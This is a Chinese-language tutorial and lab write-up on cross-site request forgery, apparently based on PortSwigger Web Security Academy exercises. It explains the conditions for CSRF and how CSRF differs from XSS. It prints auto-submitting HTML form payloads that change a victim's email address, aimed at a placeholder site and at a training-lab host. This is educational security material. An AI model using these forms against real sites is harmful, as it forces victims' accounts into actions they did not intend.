CSRF
Cross-site request forgery (CSRF)
跨站请求伪造(也称为 CSRF)是一种网络安全漏洞,允许攻击者诱使用户执行他们无意中执行的操作。它允许攻击者部分绕过同源策略,该策略旨在防止不同的网站相互干扰。
攻击者伪造一个URL诱使用户进行点击,让用户执行无意中的操作(如:修改邮箱,修改密码等)
CSRF 的条件
-
存在一个敏感或特权的操作,如:修改邮箱,修改其他用户的权限
-
基于
Cookie的会话处理,网站完全依赖于会话Cookie来识别发起请求的用户,没有其他鉴权机制 -
数据包中请求参数,没有不可预测的请求参数,不包含攻击者无法确定或猜测的参数值。例如,当用户更改密码时,如果不知道原密码,则不受攻击
例如:修改邮箱功能
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
使用Burp工具创建CSRF-POC
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
执行流程:
用户访问伪造的URL --> 跳转到受攻击网站 --> 他们的浏览器将自动在请求中包含cookie --> 更改邮箱
:::note
跨站请求伪造(CSRF)不仅限于基于cookie的会话处理,它确实存在于其他上下文中,比如HTTP基本认证和基于证书的认证
:::
HTTP基本认证(安全性低)
它是base64编码传输
Authorization: Basic dXNlcjpwYXNz
基于证书的认证
在基于证书的认证中,用户的客户端证书用于身份验证。当用户访问一个需要证书的受信任站点时,浏览器会自动提供正确的证书给该站点
CSRF 与 XSS 的区别
-
XSS 是攻击者可以执行任意
JavaScript代码 -
CSRF 允许攻击者诱使受害用户执行他们无意中的操作
XSS 漏洞的危害比 CSRF 更严重:
CSRF 通常只适用于用户能够执行的一小部分操作。许多网站在一些功能实现了 CSRF 防御,但仍然会忽略一个或两个功能。相反,成功的 XSS 利用通常可以诱使用户执行他们能够执行的任何操作,无论漏洞出现在哪个功能中。
CSRF 可以描述为一种单向漏洞,因为攻击者可以诱使受害者发出 HTTP 请求,但攻击者收不到响应。相反,XSS 是双向的,因为攻击者注入的脚本可以发出任意请求,读取响应,并将数据传输到攻击者选择的外部域。
总结一下就是:
XSS 可以执行任意 JavaScript 代码,而 CSRF 只能使用户执行特定的操作
XSS 是双向漏洞,发送的HTTP请求,可以通过读取响应将数据传输到其他域;CSRF 是单向漏洞,只能让用户执行指定操作,不能获取响应
labs
CSRF 无防护
使用CSRF攻击来更改查看者的邮箱地址
给了一个账号:wiener:peter
抓到修改邮箱的数据包,生成一个POC

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0acf00a704f25e7f80a4037f00830075.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test1e@exemplo.us" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

浙公网安备 33010602011771号